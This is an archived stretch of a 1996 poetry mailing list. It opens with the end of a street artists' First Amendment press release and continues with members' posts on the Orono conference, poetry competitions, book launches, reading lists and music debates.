Therefore, one must conclude that whatever exemptions, privileges or special considerations given other First Amendment protected materials being displayed, sold or given away on New York City streets must be similarly afforded artists and their fine art. It can hardly be constitutional or rational to arbitrarily deny First Amendment protection to one expressive medium (visual fine art), while granting it to another medium (books, baseball cards, used magazines and postcards, i.e. written art is exempted from the licensing requirement).

We recently discovered that in 1982, the original wording of the licensing exemption for book vendors was clearly and conspicuously attributed to the First Amendment and free speech. In subsequent editions of the law, the City Council's lawyers removed all mention of free speech as a way of denying artists and other protected individuals the same exemption. Here's the original wording which is only to be found in 1982 editions:

Local Laws of the City of New York For The Year 1982. #33 section 1: Legislative declaration. The council hereby finds and declares that it is consistent with the principles of free speech and freedom of the press to eliminate as many restrictions on the vending of written matter as is consistent with the public health, safety and welfare.

A note on the artists' Federal suit..... Joining the artists in their Federal suit [Lederman v. City of New York 94 civ. 7216 (MGC) by filing amicus briefs were The Museum of Modern Art, The Whitney Museum, The ACLU, Volunteer Lawyers for the Arts, The College Arts Association, the N.Y.C. Arts Coalition, The N.Y. Foundation for the Arts, art dealer Ronald Feldman, art historians Irving Sandler and Simon Schama, and artists Claes Oldenburg, Chuck Close, Jenny Holzer, Hans Haacke and David Hammons.

David Ross, the Director of the Whitney Museum of American Art, stated in connection with this lawsuit, "We stand firmly behind the idea that art is equal to other forms of expression and is as protected as speech". [Christian Science Monitor 2/14/96, pg. 11] {also see Art In America, March 96 pg 128, "New Allies for Street Artists"; N.Y. Times Metro sec. 1/24/96 pg.B1 "Street Art: Free Speech or Just Stuff?"]

The real estate and business organizations forcing the City to arrest artists filed their own brief in Federal Court co- signed by The Fifth Avenue Association, The SoHo Alliance, The Alliance for Downtown New York, The Grand Central Partnership, The 34th Street Partnership and the Madison Avenue Business Improvement District. The 30 page brief compares public displays of fine art to, "...graffiti, litter and petty street crime..." It goes on to state, "The sale of artwork does not involve communication of thoughts or ideas" and warns of, "the

dangers...of allowing visual art full First Amendment protection". It sums up its position by claiming that, "An artists' freedom of expression is not compromised by regulating his ability to merchandise his artwork", and, "..the sale of paintings and other artwork does not reach this high level of expression (guaranteeing First Amendment protection)..."

Robert Lederman is president of A.R.T.I.S.T. (Artists' Response To Illegal State Tactics) For information, to make a donation or to join A.R.T.I.S.T. call: (718) 3692111 e-mail [redacted] or visit our web site at: http://www.openair.org/alerts/artist/nyc.html Photos of arrests, art confiscations and demonstrations are available for publication. We welcome all artists to join us in the street and to help protect First Amendment rights.

—

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396. **Mark Roberts**

AWOL: Inaugural Olympic Sports Poet 1996 (forwarded)

Thu 27 Jun 1996

Mime-Version: 1.0
Date: Thu, 27 Jun 1996 06:38:53 +1000
To: [redacted]
From: [redacted] *(awol)*
Subject: AWOL: Inaugural Olympic Sports Poet 1996

The following message has been posted on behalf of Network Tennis Australia. Please address all enquiries to them at the contacts listed below. The AWOL email address should only be used to submit entries which will then be forwarded to NTA.

You only have a few more days to enter!!!!!!!!

****

Network tennis Australia (NTA) has launched a new poetry competition, to be awarded annually. In the year of the Olympic Summer Games it shall be known as the 'Olympic Sports Poet' award. In other years it shall be known as the '(Nation) Sports Poet award.

This unique award has been created to celebrate & symbolise the powerful & exhilarating synergy that exists between sport and poetry and entries for the Inaugural Olympic Sports Poet 1996 are now being invited..

Conditions of the Award

Prize allocation is:

Open section 1st prize $400, 2nd prize $200, 3rd prize $100.

Olympic Sports Poet junior section 1st prize $100, 2nd prize $50, 3rd prize $25.

Competition opens 1 May 1996 and closes 30 June 1996. Late entries will not be accepted.

Entries can be submitted in paper copy to:

Mail Network Tennis Australia,
Sports Poet Competition,
210 Annandale Street,
Annandale NSW Australia 2038.

Fax 61 2 5172466.

Entries can also be emailed to: [redacted] *or you may submit your entry through the Sports Poet web page http://www.ozemail.com.au/~awol/sportspoet.html*

The theme of the poems entered must be sport

Entries must be written in English.

The junior section is for poets 13 years or younger at 30 June 1996. Junior entries must be clearly marked and the the poet's date of birth must be included.

Poems must not be under consideration by any publisher. Entrants requiring manuscripts returned or to be notified of the winners should enclose a SSAE . Overseas entrants should enclose an international reply coupon (entrants who submit poems by email will receive a post listing the winners).

Competition judges are Les Wicks and Ron Pretty. The judges decision shall be final and no correspondence shall be entered into. NTA shall make changes to the judges panel in the event of a Judge being unavailable.

> *The winners shall be announced in July/August 1996 and published in the Poets Union Inc magazine Five Bells soon after.*
>
> *NTA shall not be responsible for any loss or damage to entries and reserves the right to reproduce the winner's poem and other selected poems.*
>
> *For further information about these conditions please contact Network Tennis Australia on ph 61 2 [redacted], fax 61 2 [redacted].*
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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397. Bill Luoma
NYC Book Party & Reading
Thu 27 Jun 1996

Listheads,

You are cordially invited to a book party hosted by Situations Press at Biblios on Sunday Jun 30 @ 5:00pm for Lisa Jarnot's Sea Lyrics and Bill Luoma's Western Love. Both books will be available at the party along with Food & Drink.

Jarnot's Sea Lyrics are set as a series of smartian prose poems about Jack London Square, Alameda, and buying jam in the early morning. I am is the refrain. As much music as you can handle. "I am aimless and have several new tattoos."

Luoma's Western Love is another series set as short lyrics spoken by cowboys, jack rabbits, and saloon girls. Images by Charles Buckley. With a touch of lesbos. "I played with the fur trappers while you were on the trail."

Biblios Bookstore
317 Church St.
NYC, 1blk below canal
[redacted]

Hope to see you there.

Ordering information to follow.

↑ Index

398. Curt Anderson
The Runway Calls
Thu 27 Jun 1996

I know a few of the subscribers to this list are also subscribers to Exile, a hopefully humorous little newsletter out of Minneapolis/St. Paul that I edit with the help of Gary Sullivan and Marta Deike. I've decided to give up editing Exile to work on some other projects -- for instance, my lifelong ambition to become a leggy supermodel. This may or may not spell the end of Exile. Gary and Marta may continue it at a later date. Thanks to all those who supported us for, yikes, almost four years, especially contributors David Gilbert, Jonathan Brannen, George Albon, Eric Malone, Anthony Schlagel, Erik Belgum and Johanna Drucker. Finally, thanks to our subscribers. Good-bye and good books.

Curt Anderson
Curt Anderson
[redacted]

↑ Index

399. Gabrielle Welford
Joan Retallack
Thu 27 Jun 1996

Does anyone who went to Orono (or anyone) have a phone number for Joan Retallack or a quick and easy way to get ahold of her? Gab.

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400. Rae Armantrout
Amazon.com
Thu 27 Jun 1996

I just made the interesting (to me) discovery that this huge online bookstore at http://amazon.com actually has small press poetry books! But maybe you already knew that.

R.

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401. Kevin Killian
General Report, dateline: Orono
Thu 27 Jun 1996

This is Kevin Killian speaking. Hope my previous fashion report didn't scare anyone off, but why else have there been so few reports from the Orono Conference? Anyhow, I thought of some more things to say.

I wasn't spending all my time gazing rapturously at the scenery. I actually did get to some panels, believe it or not. The most exciting one was the panel on Frank O'Hara, in which this fellow from Penn, whose name I did not write down, but who was very smart, spoke about O'Hara and Larry Rivers and one being the ventriloquist for the other and how 6 weeks in 1959 were quite jam packed ones for O'Hara, and either the best time of his life, or merely quite typical for any six weeks in his life. This talk made me get into the idea of trying to figure out which six weeks of my own life future critics will think was the most exciting, and I came to the conclusion that they hadn't occurred yet. Then Ben Friedlander spoke about O'Hara and the "race question," followed closely by Steven Evans on the same topic-they built up the panel, moment by moment, into this tremendously thrilling event like a horse race of ideas. Ben Friedlander can write up a storm. Every sentence he spoke was like a poem. Listening him speak I had the same feelings of awe with which I imagine Oscar Wilde would regard Lord Alfred Douglas in their early days of first knowing each other. I had simply never thought of O'Hara's work in this light and now I am convinced. It was a stunning moment.

Dodie went to the panel where Joan Retallack rehearsed Jackson Mac Low's "Virginia Woolf Poems," a reading through The Waves. I was not there but heard plenty about this later and how great it was. Joel Kuszai gave a rare look at Jackson Mac Low's early career, long before Kuszai was born. Or Dodie either, practically speaking.

Amateur entertainment winners, Chris Stroffolino's barrelhouse piano with Alan Golding and Joe Donahue singing, or shrieking, Lou Reed's "Walk on the Wild

Side," with Geoffrey O'Brien chirping in at the cue about "the colored girls sing." It was this terribly Frank O'Hara masquerade of values and atonality.

An Oscar to Rachel Blau Du Plessis's plenary talk about gender relations in the 1950s, esp. her daring use of John Wieners' later "Woman" as the exemplum of everything that went wrong with poetry's challenges as a result of the social stratification of the period. The room went deadly silent when she got to this part, a reaction I suppose to her daring to question the all-male cast of John Clarke's plan for the "Curriculum of the Soul." There, all of a sudden, en plein air, was this really weird fact that no one had ever, I suppose, tried to make sense of before. In this paper, Wieners came off very seedy, whereas in Michael Davidson's beautiful talk given on a previous evening, he was the culture hero I have admired for so many years.

Another plenary people were talking about was Alicia Ostriker's talk on Ginsberg and Lamentations. I saw men and women coming out the hall, heads shaking with admiration. I liked the Ann Charters talk a little, tho' I do not think she should have named it "Charles Olson/Ann Charters/Herman Melville." It just sounds silly.

The Niedecker panel I attended was very fine. Jenny Penberthy told us all about the "For Paul" poems, which she kept calling the "For Pauls," in my seat I was thinking, sounds like the Beatles. Those For Paul poems, JP kept saying, are Niedecker's worst poems and they are horrible (she said). Made me want to read them! How bad could they be? Susan Dunn's paper was good, too, tho' like most of us she bit off more than she could chew! And then Glenna Breslin spoke. Because I have been writing a biography, and because, as Chris Stroffolino noted earlier, this was kind of a personality-based conference, some of the very best papers were given by biographers, and this was one of them. Breslin went to Fort Atkinson or Blackhawk Island and tracked down this man, Aeneas McAllister, who had known Niedecker as a young handsome sensitive stud. "He was young, dark-haired, slim-hipped, with a sexy smile," said Breslin, studying a photo of Aeneas, and I don't mind saying, I just about swooned. He and his family lived next to LN in 1954 . . . she was fifty, he was 27 . . . nature took its course . . . When Breslin's biography is published Hollywood should make a film of this chapter with Jessica Lange as Lorine Niedecker, and maybe Keanu Reeves as Aeneas, except I don't know if Keanu Reeves can play the piano, because one night Aeneas was playing Beethoven on the only piano on Blackhawk Island, and Lorine came to the door at midnight, tipsy, blonde, disheveled, and said, "You play?" Maybe in 1954 these parts could have been played--hell, WERE played--by Vivien Leigh and Marlon Brando. Aeneas also described to Glenna Breslin the visit of Louis, Celia and Paul Zukofsky to Wisconsin and how Lorine was subdued, and Aeneas took Paul on a kayak trip and Louis & Celia came running out of the cabin and started hollering, "Paul! Your

hands! Your hands!" thereby spoiling the fun of the young boy prodigy violinist. Louis: Harry Dean Stanton. Celia: Kate Nelligan. Paul: Macaulay Culkin. Anyhow it was a great talk.

I didn't go to Sharon Thesen's talk but sure heard plenty about it, for she, Thesen, is writing the life of Frances Boldereff, the mysterious woman who befriended the youngish Charles Olson and influenced, understatement, Olson's thought. And who is still alive, in Illinois or somewhere.

I did go to Barrett's talk. (For me a great thing about the conference was its reunion aspect; I mean no one enjoys meeting strangers more than I do, but I certainly enjoyed seeing my homeboys Watten, Friedlander, Perelman, etc after long separation). At first I misunderstood the comcept of "hailing." I thought Hailing, or Heyling, was some kind of contemporary of Althusser, and being "Heyl"ed was an affectionate diminutive. Now I see I was just plain dead wrong. Gee, do I feel dumb! Anyhow one woman got up from her seat and said, "There is no 'moment of incest,'" and also she thought that BW had committed a terrible wrong against all women and all conference attendees. It was very dramatic and kind of sweat-making. And this was because Barrett showed about thirty stills of the 50s model Betty Page, in provocative 50s poses, often nude or in sexy bondage outfits, meanwhile telling us with a more or less straight face that she, Page, was in charge of her destiny and in control of her own sexuality. I don't see why Page was freer from the objectifying gaze than any other photographed woman of the 1950s. She just looks like she's enjoying herself, she doesn't look terrified. So? However, the material about the elephant, the sardine can, the family photo album of televised images of Duke Ellington, and Joe McCarthy, put all this sex material into a certain context which made it all make sense, at least on a poetic level. But how else can Lacan be read, except as a great 1950s poet of the fractured thought and image?

Okay, so how about when I looked up from the cocktail party and crossing the room, seeming to head exactly in my direction, I saw Stephen King, and my heart stood still, but luckily circulation restored quickly and I got out my pen and copies of two of his books and pestered Burton Hatlen until he introduced us! I didn't want to say, "Mr King, I'm your greatest fan," because of the way Kathy Bates had made that innocent enough and very true line into some kind of evil meconnaissance of obeisance in the film of King's own book, "Misery." So I just, like, kowtowed and tried to hold my own with Steve, as I call him now. You know, one on one, I'm a novelist, you're a novelist--that kind of thing. Smooth as silk. Lucky the van driver who picked us up from the airport had hinted he might be coming to this banquet, and so, while everyone else was seeing the scenic glories of Bar Harbor, I sneaked into the local bookstore and bought these books, so I could say, "Oh, wow, I was just reading this on the plane" (a white lie if ever I spoke one--or, a premonition, since I did read them

on the way home!) But I must have been a nightmare to him. There he was trying to eat his lobster and I came up, dragging Dodie, and said to Steve, "Now that you've signed my book, we're friends and here is Loss and he can take our picture all together!" Then later he was trying to hobnob with Diane and Jerome Rothenberg, and this time I dragged Peter O'Leary with me as I said, "Look, Steve, I found another book by you that you haven't autographed!" The sickly grin on his face turned white, then purple, like a cicatrix, but he obliged. Everyone else at the entire conference acted like this happened to them every day, as though daily they were always rubbing elbows with the most talented thriller writer of all time. Well, I don't think so and I'll be the first to say so.

I am sure I am leaving a lot out, but one more thing I wanted to say was, a) it was great meeting all my net pals face to face, and b) thank you to all who helped me get through the ordeal of my own paper. I couldn't really think while I was there, I was so fretful, like the White Rabbit in Alice, always feeling I was running late, and indeed I was, but everything was all right on the night, altho' who would have thought that my 7 page paper was far too long for the 20 minutes I had to cram it all in, but I think I made too many jokes to try to alleviate for all the terror my subject inspired in me, the misogyny and sexual anxiety of Jack Spicer, and the Frankenstein-like stitches that hold together his 1958 poem, "For Joe."

I'm leaving so much out. I just wanted to write some of it down before my memory takes it away from me, like a message in a bottle that might float back to California someday. I had a great time, wish you were there!

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402. JOEL LEWIS
Re: Joe Ceravolo (Silliman)
Thu 27 Jun 1996

In my many phonecalls to Joe C. we seemed to never really talk about poetry. Although he didi say once that he loved Leopardi. He also disclaimed the Chinese poets as a source (as picked up on by the back cover of Spring....) of his poetics.

His departure from the NYC scene seems to have something to do w/ performance pieces he & his wife did at PoProject in early 70's-- I was too yung for that, but folks told me that it involved the burning of incense & heavy Catholic mysticism. To other friens he had long phone conversations on the bible. He was really unaware of the "scene" in his later years & REALLY loved Ron's essay on his work as it was the first kind of notice in many years.

Joel Lewis

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403. Peter Quartermain
Limitations
Thu 27 Jun 1996

This is from quite a while back, but it's been nagging away at the back of my mind for a week or more so I've decided to ask. On 15 June Mark Wallace wrote in the course of the Susan Howe / Samuel Beckett thread:

"it seems to me that the value of the work of Susan Howe and Samel Beckett (or many others, maybe) is not only obvious, but something that it would be pretty hard to argue against very successfully. One can, I suppose, have reasonable questions about the limitations of their work, but as to dismissing it entirely, I'm still under the impression that that's an opinion I don't really have to respect too much."

I'm sorry to quote at such length, but I want to keep the context pertty clear. What I'm curious about is the concept of "limitations" -- what did you have in mind, Mark, can you remember? what sort of assumptions underlie the choice of that really interesting word? Is there some sort of model of "perfection" that underlies this notion of limitation? or of political or social "effectiveness"? or what? In the context it strikes me as an odd word to use, since I would have though any argument "dismissing" their work would invoke this sort of vocabulary. What do you think? Can you, Mark (or anyone else for that matter) please enlighten me?

I know I'm just asking, but this is a prertty serious issue I think.

Peter

+ + + +

It is 12:20 in Orono a Saturday
three days after Burt's greeting, yes
it is 1996 and I go get a lobster
because I will get off bus 320 in Bar Harbor
at 5:15 and then go straight to dinner
and I don't know the people I will feed with

I walk up the muggy street beginning to rain
and have a hamburger and a malted (Loss ate my lobster) and buy
an ugly FORMALIST to see what the "poets"
in "America" are doing these days
                I go back to the bunk
and Ms. Perloff (first name Marjorie I once heard)
is so bored by the speaker that she doesn't even look up for once in her life
and in NEVILLE I go to a little session
featuring Maria with a diatribe by von Hallbeg although I do
think of "_____:____," trans. Joan Retallack or
Enslin's new sequence or "Moonscapes" or "The Edge of Time"
of Foster, but I don't, I stick with Maria
after practically going to sleep with quandariness

and for Loss I just stroll into Boardman
Hall and ask for "AD VALOREM CAGLI" and
then I go back where I came from to 402 Neville
and the student at the book table and
casually ask for _Niedecker: Woman and Poet_ and a copy
of Ronald Johnson's _Ark_, and a hurt book with his face on it

and I am sweating a lot now and thinking of
leaning on the john door on the first floor
while he recited endlessly from inside a stall
to the long-suffering Hank Lazer and everyone and I stopped breathing

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405. Carnography

Re: Wildflower dead horse-hair-triggers

Fri 28 Jun 1996

I've refrained from sending my response to Mr. Gould for three reasons:

1. Mainstream sixties bands aren't worth this much commentary, esp not on a prosody list.

2. I wanted to reread my response to see if I'd been unfair.

3. Even though I wanted to respond to every point, I wasn't anxious to quibble with a fellow musician (especially one who also cares about prosody). Contrary to emphatic opinion--

> *With "all due respect", you're just being snide for the fun of it,*
> *and don't deny it - because it IS fun.*

--there is no pleasure to be had from taking a fellow musician down a notch. The motivation for my first response was to defend other musicians. Someone had claimed that 60's Brits were merely weak imitations of African- American R & B. I don't like to insult musicians and I don't like it when musicians are insulted.

(Speaking of which: Sidebar to Chris Creek, who said:

> *Forget Speedway, name tells all. For topical lyrical and typical textures,*
> *arguable here now, try Pulp*

Since this is musical texture we're talking about, the name tells nothing. We've all heard Pulp, but you've never heard Speedway (unless you live in London: they won't be recording their first album until mid-August). Be patient--listen to one Speedway song before you relegate them to obscurity.

Otherwise, I agreed with your other comments.)

Therefore, I'm backchanneling my response to Mr. Gould alone. I feel rueful enough doing this at all, let alone in public.

All the best,

Rob Hardin

---

http://www.interport.net/~scrypt

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406. Rachel Loden
Re: General Report, dateline: Orono
Fri 28 Jun 1996

Kevin Killian wrote:

> *An Oscar to Rachel Blau Du Plessis's plenary talk about gender relations in*
> *the 1950s, esp. her daring use of John Wieners' later "Woman" as the*
> *exemplum of everything that went wrong with poetry's challenges as a result*
> *of the social stratification of the period. The room went deadly silent*
> *when she got to this part, a reaction I suppose to her daring to question*
> *the all-male cast of John Clarke's plan for the "Curriculum of the Soul."*
> *There, all of a sudden, en plein air, was this really weird fact that no*

> *one had ever, I suppose, tried to make sense of before. In this paper, Wieners came off very seedy, whereas in Michael Davidson's beautiful talk given on a previous evening, he was the culture hero I have admired for so many years.*

Any chance that these papers will be at the EPC? Or elsewhere? Thanks to Kevin K. for the juicy report.

Rachel Loden

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407. **Hank Lazer**
Re: blame it on the lossa nova
Fri 28 Jun 1996

Aldon--

Bravo!

Hank

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408. **Loss Glazier**
Re: General Report, dateline: Orono
Fri 28 Jun 1996

>Any chance that these papers will be at the EPC? Or elsewhere?
>Thanks to Kevin K. for the juicy report.

Dear Rachel,

We are preparing an online "book" with reviews of Orono (also photos too I hope).

No plans were made for the actual papers partly because my sense is that many/some of these are committed elsewhere.

But I do extend an invitation to any who are willing to put up their paper to contact me. We're always interested in helping to circulate such works.

Loss

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409. **William M. Northcutt**
Peter Dale Scott's Jakarta, and ...
Fri 28 Jun 1996

I've had Peter Dale Scott's Coming to Jakarta for a while, but I'm just getting to it in my stack. First impression is that it's a pretty incredible poem, a pretty

incredible book. I'd be interested to hear what any of you think about it, old news as the book may be. Poetically, I suppose it's as non-adventurous as poetry can get, but it's subject matter seems quite powerful to me...

Meanwhile, I'm a bibliography addict, and I'd be interested in seeing lists somewhat similar to the ones we did a while back, the bed-side reading lists, maybe with a twist: perhaps we could post a list of 5-10 books that we're either damned excited about, that we're reading at the moment, or that we're trying desperately to get at:

My list:

Peter Dale Scott--Coming to Jakarta
Peter Nicholls--Modernisms
Alice Notley--the descent of Alette
Bob Perelman--The Trouble with Genius
David Lodge--Nice Work
Hugh MacDiarmid--Collected I
Ron Silliman--N/O
Djuna Barnes--Book of Repulsive Women (my students loved this little book)
Breton--Nadja

Mostly old news (that remains news).

Also, have any of you read Timothy Bahti's Ends of the Lyric??? Worth a read?

Nuff said.

William Northcutt

Walter Benjamin: "Only a redeemed mankind receives the fullness of its past."

William Northcutt
Anglistik I
Universitaet Bayreuth
95440 Bayreuth
email: [redacted]
Tel: 49 921 980612
Fax: 49 921 553641

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410. **David Kellogg**
Re: Wildflower dead horse-hair-triggers
Fri 28 Jun 1996

On Fri, 28 Jun 1996, Carnography wrote:

> *1. Mainstream sixties bands aren't worth this much commentary, esp not on a prosody list.*

I didn't follow the earlier part of the discussion, but I had to ask: POETICS is a "prosody list"?

Cheers,
David
~~~
~~~

Wouldn't it be kind of insulting to a band (of musicians, presumably) to dismiss them as not worthy of commentary? Not to mention reducing the Beatles and the Stones to the status of "mainstream sixties bands" when both have obvious importance outside those rather tiny confines. I left the sixties when I was three and discovered the Beatles in 1978. Their music has been a big influence on my person and my writing, and I'm sure that's true for some other people on this list, which probably explains why the topic came up at all. As for the Stones, they were making records not only in the sixties, but also the seventies, eighties and nineties. Does anyone call Miles Davis a "fifties jazz musician"? What criteria go into this label? When the band started? The Beatles had their core (John/Paul/George) together in '58, although they weren't yet calling themselves "Beatles". When the band were making their best work? What about _Some Girls_ ('78), _Exile on Main Street_ ('72), and _Sticky Fingers_ ('71)?

****

Steve Carll

[redacted]

"Heard melodies are sweet, but those unheard
Are sweeter; therefore, ye soft pipes, play on"
--Keatsy

****

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413. Steven Howard Shoemaker

Orono memories / Enslin poems

Fri 28 Jun 1996

Reading all this Orono reportage fills me with a mix of envy for what I've missed and nostalgia for the Orono conference of, i think, '93, on American poetry of the Thirties. That one had lots of great panels on the Objectivists, as well as many others. I cld never reproduce all the highlights but judging from recent posts the general air of conviviality, intelligence, and exhaustion was the same at both conferences. It was my very first conference, and only now, having weathered several MLAs can i appreciate how wonderful it really was, especially the lively mix of poets and critics, academics and "non-affiliated" enthusiasts etc. Hell, my father even dropped by to hear my talk and some of the readings and had a good time. And those readings *were* fantastic--Carl Rakosi, Allen Ginsberg, Charles Bernstein, Barrett Watten, Joan Retallack and many others. I'm *really* sorry to have missed the current round, which brings me to Ted Enslin...

Hank Lazer's praise for Enslin's reading reminds of how stunning his performance was when I brought him and Taggart to read here at the University of

Virginial in April 95'. I've long wanted to plug his work on this list, so will take this chance to mention the two wonderful sequences, "Autumnal Rime" and "Scriptural" that appeared across various issues of Talisman and First Intensity over the last year or two. Tremendous stuff, i think, and their high quality helps to clinch Enslin's status as one of the most ridiculously neglected figures in American writing. I'd also highly recommend a recent chapbook in his more conventional mode, called Songs in the Key of C. I can't lay my hands on this right at the moment but it's very handsomely done by, i think, Bloody Twins press.

Thanks and praise to Mark Nowak for undertaking the Selected.

steve

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414. Jordan Davis
The Grammar of Fantasy by Gianni Rodari
Fri 28 Jun 1996

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from the Contents

Introduction: Gianni Rodari, Devil's Advocate as Patron Saint of Children by Jack Zipes

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3. The Fantastic Binominal
4. "Light" and "Shoes"
5. What Would Happen If...
7. The Arbitrary Prefix
8. The Creative Error
9. Old Games
13. Making Mistakes in the Story
14. Little Red Riding Hood in a Helicopter
19. The Cards of Propp
20. Changing the Cards into a Fairy Tale with Franco Passatore
21. Fairy Tales in the "Obligatory Key"
22. The Analysis of La Befana
26. Stories at the Table
27. A Journey around My House
30. "Taboo" Stories
34. The Mathematics of Stories
39. When Grandfather Becomes a Cat
41. Imagination, Creativity, School

The Grammar of Fantasy by Gianni Rodari, tr. Jack Zipes, will be available soon from Teachers & Writers Collaborative. In the meantime, there's www.twc.org.

Jordan Davis

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415. Charles Smith
Re: Limitations
Fri 28 Jun 1996

Peter,

I thought Mark Wallace's reference to the "limitations" of the work of Beckett & Howe was nothing more than an acknowledgement that all writing exists within some sort of limit, no matter how wide ranging. It might be in terms of literary/social issues engaged, subject matter, form or technique. Even the "totalizing" gestures of Pound & Olson move within perceptible limits, don't they? Olson's 'limits are what we are all inside of' acknowledges this, yes?

Mark?

Charles Smith

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416. Rod Smith
new Bernadette & & & @ Bridge Street
Fri 28 Jun 1996

Here's another list of new stuff from Bridge Street Books. Thanks for all those orders from the last one. Bernadette Mayer's _Proper Name_ just out from New Directions: YES. Also those ECW McCaffrey & MacCormack.

1._The Little Book of Unsuspected Subversion_ by Edmond Jabes, trans. Rosmarie Waldrop, Stanford Univ Press, $12.95. "For living as for dying, we will have used the same bobbin."

2. _Marine Snow_ by Karen Mac Cormack, ECW Press, $12.00. "This cut won't heal these revolutions without you."

3. _Proper Name_ by Bernadette Mayer, New Directions, $13.95. I've had about two weeks with an advance copy of this, it's a terrific book. Collection of stories, prose poems, & poems. "I am not hynopompic list theorists." Bernadette at her inventive bestest.

4. _The Cheat of Words_ by Steve McCaffery, ECW, $12.00.
"The crack is the heart gag / of consumer logic"

5. _Oulipo Laboratory_, texts from the Bibliotheque Oulipienne by Queneau, Calvino, Fournel, Jouet, Berge, & Mathews. Trans. Mathews & White. Atlas, $15.99. "The truth is that the Quarrel of the Ancients and Moderns is permanent."

6. _Over-Sensitivity_ by Jalal Toufic, Sun & Moon, $13.95. "_This is the shit._" --John Zorn. Toufic's a terrific essayist, as yous may know from _Distracted_ &/or _(Vampires): An Uneasy Essay on the Undead in Film_.

7. _Information Inequality: The Deepening Social Crisis in America_ by Herbert Schiller, Routledge, $16.95. "The picture is as clear as it troubling." --Neil Postman. The other side(s) of this debate cld be represented by Negroponte's _Being Digital_, Vintage, $12.00. Both books are quite engaging.

8. _Tremble_ by C.D.Wright, Ecco, $20.00 hardcover.
"The public is in ecstacy."

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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417. maria damon
Re: british women poets
Fri 28 Jun 1996

In message <[redacted]> UB Poetics
discussion group writes:
> A friend of mine is looking for suggestions of British or Commonwealth
> women poets of the 20thC to teach in an upcoming course, and i was rather
> embarassed at how few names i cld summon off the top o' the noggin. Any
> suggestions, for my own edification, and my friend's?
>
> thanks, steve

lillian allen; louise bennett; jean "binta" breeze; ...etc--md

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418. **maria damon**
Re: Beatle Bones and Smokin' Stones
Fri 28 Jun 1996

In message <[redacted]> UB Poetics discussion
group writes:
> At 01:20 AM 6/28/96 -0400, Rob Hardin wrote:
>
> >1. Mainstream sixties bands aren't worth this much commentary, esp not
> > on a prosody list.

is this a prosody list?--md

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419. **maria damon**
Re: Orono memories / Enslin poems
Fri 28 Jun 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Reading all this Orono reportage fills me with a mix of envy for what I've
> missed and nostalgia for the Orono conference of, i think, '93, on
> American poetry of the Thirties. ...

i missed the reportage, cuz i just subbed on again. i''ve tried getting the june log from the listserv but it's too big for my machinery. cd someone post me the relevant posts? then i'll add my own review/ bests, maria d

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420. **Loss Glazier**
Re: Orono memories / Enslin poems
Fri 28 Jun 1996

Dear Maria, I'm hoping to have the online book of reviews up very soon! If others need to catch up they can... Loss
---
At 03:13 PM 6/28/96 -0500, you wrote:
>In message <[redacted]> UB Poetics
>discussion group writes:
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>> missed and nostalgia for the Orono conference of, i think, '93, on
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421. Charles Alexander
Re: british women poets
Fri 28 Jun 1996

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> *A friend of mine is looking for suggestions of British or Commonwealth women poets of the 20thC to teach in an upcoming course, and i was rather embarassed at how few names i cld summon off the top o' the noggin. Any suggestions, for my own edification, and my friend's?*
>
> *thanks, steve*
>
> *lillian allen; louise bennett; jean "binta" breeze; ...etc--md*

Just from very recent reading I would absolutely recommend Michele Leggot (New Zealand) & Catherine Walsh (Britain). Good luck. -- charles

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422. Loss Glazier
Orono Reviews: Bar Harbor
Fri 28 Jun 1996

HARBOR LOBSTER BAR NONE

For that waif of a plane to please make it to Bangor,
I promised not to hiss at New Critics but I said nothing
about table manners. In other senses, it’s the place that is
material for example where’s the moose and why am I
on this bus heading east? "Nature!" I spy and he points
to one’s chest & thumps. We’ve never been on a trip like
this the bus driver asking if it’s really a bus full of poets.
Who knows? But I can assure you we talk plenty and
that it’s part and parcel of the field trip medium to have
no idea where we’re going, how long it’s for, or even
what to do once we get there. Voila! We all know there’s
momentum just being on a bus! Hail Aldon's patience with
camera lenses strewn on the seat. And the group conversa-
tion that gets us to Mount Desert Island. I kept calling it

a magical mist tree tour and how true! smack dab on top
of old Cadillac Mountain with Jerry past mutinous rocks
in a spitting hissy blind fog bank hiking on & on as if it
goes somewhere other than more fog until we're dripping,
cold and, glasses steamed, he turns to me and asks,
"(he says) vot em I doink here." It's cold, it's wet, but
we make it back and are sitting in the council section of
the bus (which we have named in order to advise the
driver whether to stop at the tourist information center)
& watch frigid poets tramping from foaming mist emerging
Lordy Shakespeare-like with occluded views of the island
tucked like severed heads under dripping elbows. Alas!
Back in & down the mountain we go. Bar Harbor not bad
for hilling around its musical instrument shop though the
town might more properly be named not Bar Harbor but
"Lobster Bar and Gift Shops". But here's a question for
the grammarian of gastronomic plights. Why is only ONE
of these red, lovely crustaceans supposed to satisfy you?
Is it an unwritten rule? Is that what it means to be
"civilized"? (Is this related to poems that rhyme?)
It's a question that's haunted me for years and I lean
towards Bob Perelman with this question and he says
'go for it' so … (even the waiter does a double-take &
says 'TWO'??) & the next half hour (Maria reading the
Bangor newspaper account of the Ph.D. bearing
invaders of the poetic state) all I experience is the
internal hiss of epicurean bliss. "Lobster be mine - a
Lobster for all time - Hell who needs a variable foot
when there are red claws like this to be cracked?
Somehow in my memory of it, these lines all rhymed.

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423. Schuchat

Re: Beatle Bones and Smokin' Stones

Fri 28 Jun 1996

I thought the 60s didn't end until 1974, with Nixon's resignation.

Miles Davis is a 50's jazz musician.

You are tagged with when you become famous (enter the media stream).

Centuries and decades are inexact, e.g., the 20th century began in August 1914 and ended in December 1992.

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424. JOEL LEWIS
Re: Orono memories / Enslin poems
Fri 28 Jun 1996

Thanks for interesting report on Orono.

